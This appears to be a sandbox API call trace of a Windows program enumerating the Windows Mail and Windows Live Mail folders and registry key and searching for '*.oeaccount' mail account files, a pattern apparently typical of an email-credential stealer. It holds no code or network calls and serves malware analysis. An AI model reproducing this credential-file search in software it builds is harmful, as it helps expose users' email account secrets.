[0085.299] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.299] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.299] strlen (_Str="edb00001.log") returned 0xc
[0085.299] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.299] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.299] _mbscat (in: param_1=0x12f4f8, param_2=0x414078 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.299] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.299] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.299] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.299] strlen (_Str="edbres00001.jrs") returned 0xf
[0085.300] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.300] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.300] _mbscat (in: param_1=0x12f4f8, param_2=0x414078 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.300] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.300] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.300] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.300] strlen (_Str="edbres00002.jrs") returned 0xf
[0085.300] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.300] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.300] _mbscat (in: param_1=0x12f4f8, param_2=0x414078 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.300] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.300] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.300] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.300] strlen (_Str="oeold.xml") returned 0x9
[0085.300] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.300] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.300] _mbscat (in: param_1=0x12f4f8, param_2=0x414078 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.300] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.300] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.300] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.300] strlen (_Str="Stationery") returned 0xa
[0085.300] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.300] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x38
[0085.300] _mbscat (in: param_1=0x12f4f8, param_2=0x414078 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.300] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.300] strcmp (_Str1="Stationery", _Str2="..") returned 1
[0085.300] strcmp (_Str1="Stationery", _Str2=".") returned 1
[0085.300] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.300] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.300] strlen (_Str="*.oeaccount") returned 0xb
[0085.300] _mbscpy (in: param_1=0x12e32c, param_2=0x12e6f4 | out: param_1=0x12e32c) returned 0x12e32c
[0085.300] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.300] _mbscat (in: param_1=0x12e32c, param_2=0x414078 | out: param_1=0x12e32c) returned 0x12e32c
[0085.300] _mbscat (in: param_1=0x12e32c, param_2=0x4154e8 | out: param_1=0x12e32c) returned 0x12e32c
[0085.300] FindFirstFileA (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\*.oeaccount", lpFindFileData=0x12e470 | out: lpFindFileData=0x12e470) returned 0xffffffff
[0085.362] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.362] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.362] strlen (_Str="*.*") returned 0x3
[0085.362] _mbscpy (in: param_1=0x12e83c, param_2=0x12ec04 | out: param_1=0x12e83c) returned 0x12e83c
[0085.362] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.362] _mbscat (in: param_1=0x12e83c, param_2=0x414078 | out: param_1=0x12e83c) returned 0x12e83c
[0085.362] _mbscat (in: param_1=0x12e83c, param_2=0x4147c4 | out: param_1=0x12e83c) returned 0x12e83c
[0085.363] FindFirstFileA (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\*.*", lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 0x26df30
[0085.364] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.364] strlen (_Str=".") returned 0x1
[0085.364] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.364] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.364] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.364] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.364] strcmp (_Str1=".", _Str2="..") returned -1
[0085.364] strcmp (_Str1=".", _Str2=".") returned 0
[0085.364] FindNextFileA (in: hFindFile=0x26df30, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.364] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.364] strlen (_Str="..") returned 0x2
[0085.364] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.364] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.364] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.364] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.364] strcmp (_Str1="..", _Str2="..") returned 0
[0085.364] FindNextFileA (in: hFindFile=0x26df30, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.364] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.364] strlen (_Str="Bears.htm") returned 0x9
[0085.364] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.364] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.364] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.364] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.364] FindNextFileA (in: hFindFile=0x26df30, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.364] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.364] strlen (_Str="Bears.jpg") returned 0x9
[0085.364] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.364] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.364] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.364] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.364] FindNextFileA (in: hFindFile=0x26df30, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.364] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.364] strlen (_Str="Desktop.ini") returned 0xb
[0085.364] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.364] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.364] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.364] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.364] FindNextFileA (in: hFindFile=0x26df30, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.364] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.364] strlen (_Str="Garden.htm") returned 0xa
[0085.364] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.365] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.365] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.365] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.365] FindNextFileA (in: hFindFile=0x26df30, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.365] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.365] strlen (_Str="Garden.jpg") returned 0xa
[0085.365] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.365] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.365] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.365] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.365] FindNextFileA (in: hFindFile=0x26df30, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.365] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.365] strlen (_Str="Green Bubbles.htm") returned 0x11
[0085.365] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.365] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.365] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.365] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.365] FindNextFileA (in: hFindFile=0x26df30, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.365] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.365] strlen (_Str="GreenBubbles.jpg") returned 0x10
[0085.365] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.365] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.365] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.365] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.365] FindNextFileA (in: hFindFile=0x26df30, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.365] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.365] strlen (_Str="Hand Prints.htm") returned 0xf
[0085.365] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.365] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.365] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.365] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.365] FindNextFileA (in: hFindFile=0x26df30, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.365] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.365] strlen (_Str="HandPrints.jpg") returned 0xe
[0085.365] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.365] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.365] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.365] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.365] FindNextFileA (in: hFindFile=0x26df30, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.365] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.365] strlen (_Str="Orange Circles.htm") returned 0x12
[0085.365] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.365] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.365] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.365] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.365] FindNextFileA (in: hFindFile=0x26df30, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.366] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.366] strlen (_Str="OrangeCircles.jpg") returned 0x11
[0085.366] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.366] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.366] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.366] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.366] FindNextFileA (in: hFindFile=0x26df30, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.366] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.366] strlen (_Str="Peacock.htm") returned 0xb
[0085.366] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.366] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.366] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.366] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.366] FindNextFileA (in: hFindFile=0x26df30, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.366] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.366] strlen (_Str="Peacock.jpg") returned 0xb
[0085.366] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.366] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.366] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.366] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.366] FindNextFileA (in: hFindFile=0x26df30, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.366] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.366] strlen (_Str="Roses.htm") returned 0x9
[0085.366] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.366] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.366] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.366] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.366] FindNextFileA (in: hFindFile=0x26df30, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.366] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.366] strlen (_Str="Roses.jpg") returned 0x9
[0085.366] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.366] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.366] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.366] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.366] FindNextFileA (in: hFindFile=0x26df30, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.366] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.366] strlen (_Str="Shades of Blue.htm") returned 0x12
[0085.366] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.366] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.366] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.366] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.366] FindNextFileA (in: hFindFile=0x26df30, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.366] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.366] strlen (_Str="ShadesOfBlue.jpg") returned 0x10
[0085.367] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.367] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.367] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.367] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.367] FindNextFileA (in: hFindFile=0x26df30, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.367] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.367] strlen (_Str="Soft Blue.htm") returned 0xd
[0085.367] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.367] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.367] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.367] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.367] FindNextFileA (in: hFindFile=0x26df30, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.367] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.367] strlen (_Str="SoftBlue.jpg") returned 0xc
[0085.367] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.367] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.367] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.367] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.367] FindNextFileA (in: hFindFile=0x26df30, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.367] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.367] strlen (_Str="Stars.htm") returned 0x9
[0085.367] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.367] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.367] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.367] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.367] FindNextFileA (in: hFindFile=0x26df30, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.367] strlen (_Str="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 0x43
[0085.367] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.367] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.367] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.367] FindNextFileA (in: hFindFile=0x26df30, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 0
[0085.367] FindClose (in: hFindFile=0x26df30 | out: hFindFile=0x26df30) returned 1
[0085.368] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.368] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.368] _mbscat (in: param_1=0x12f4f8, param_2=0x414078 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.368] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.368] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.368] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.368] _mbscat (in: param_1=0x12f4f8, param_2=0x414078 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.368] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.368] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 0
[0085.369] FindClose (in: hFindFile=0x265da0 | out: hFindFile=0x265da0) returned 1
[0085.369] SHGetSpecialFolderPathA (in: hwnd=0x0, pszPath=0x12f7a0, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\ATVeyDl98Z\\AppData\\Local") returned 1
[0085.369] _mbscat (in: param_1=0x12f7c1, param_2=0x41550c | out: param_1=0x12f7c1) returned 0x12f7c1
[0085.369] _mbscpy (in: param_1=0x12ed64, param_2=0x12f12c | out: param_1=0x12ed64) returned 0x12ed64
[0085.369] _mbscat (in: param_1=0x12ed64, param_2=0x414078 | out: param_1=0x12ed64) returned 0x12ed64
[0085.369] _mbscat (in: param_1=0x12ed64, param_2=0x4154e8 | out: param_1=0x12ed64) returned 0x12ed64
[0085.369] FindFirstFileA (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Live Mail\\*.oeaccount", lpFindFileData=0x12eea8 | out: lpFindFileData=0x12eea8) returned 0xffffffff
[0085.369] _mbscpy (in: param_1=0x12f274, param_2=0x12f63c | out: param_1=0x12f274) returned 0x12f274
[0085.369] _mbscat (in: param_1=0x12f274, param_2=0x414078 | out: param_1=0x12f274) returned 0x12f274
[0085.369] _mbscat (in: param_1=0x12f274, param_2=0x4147c4 | out: param_1=0x12f274) returned 0x12f274
[0085.369] FindFirstFileA (in: lpFileName="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Live Mail\\*.*", lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 0xffffffff
[0085.369] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows Live Mail", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f770 | out: phkResult=0x12f770*=0x0) returned 0x2
[0085.369] ExpandEnvironmentStringsA (in: lpSrc="", lpDst=0x12f8a8, nSize=0x104 | out: lpDst="") returned 0x1
[0085.369] strlen (_Str="") returned 0x0
[0085.369] _strcmpi (_Str1="C:\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows Live Mail", _Str2="") returned 1
[0085.369] strlen (_Str="") returned 0x0
[0085.369] strlen (_Str="") returned 0x0
[0085.369] strlen (_Str="*.oeaccount") returned 0xb
[0085.369] _mbscpy (in: param_1=0x12ed64, param_2=0x12f12c | out: param_1=0x12ed64) returned 0x12ed64
[0085.369] strlen (_Str="") returned 0x0
[0085.369] _mbscat (in: param_1=0x12ed64, param_2=0x4154e8 | out: param_1=0x12ed64) returned 0x12ed64
[0085.369] FindFirstFileA (in: lpFileName="*.oeaccount", lpFindFileData=0x12eea8 | out: lpFindFileData=0x12eea8) returned 0xffffffff
[0085.370] strlen (_Str="") returned 0x0
[0085.370] strlen (_Str="") returned 0x0
[0085.370] strlen (_Str="*.*") returned 0x3
[0085.370] _mbscpy (in: param_1=0x12f274, param_2=0x12f63c | out: param_1=0x12f274) returned 0x12f274
[0085.370] strlen (_Str="") returned 0x0
[0085.370] _mbscat (in: param_1=0x12f274, param_2=0x4147c4 | out: param_1=0x12f274) returned 0x12f274
[0085.370] FindFirstFileA (in: lpFileName="*.*", lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 0x265da0
[0085.370] strlen (_Str="") returned 0x0
[0085.370] strlen (_Str=".") returned 0x1
